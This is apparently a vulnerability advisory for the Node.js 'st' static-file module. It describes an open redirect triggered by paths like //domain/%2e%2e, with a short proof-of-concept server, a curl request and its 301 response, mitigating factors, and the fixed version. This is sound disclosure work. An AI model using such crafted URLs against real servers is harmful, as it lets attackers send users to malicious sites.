st is a module for serving static files.

An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain.

A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used.

Mitigating factor:

In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").

Code example (provided by Xin Gao):

[example.js]

var st = require('st') 
var http = require('http') 
http.createServer(st(process.cwd())).listen(1337)

$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact

Recommendation

Update to version 1.2.2 or later.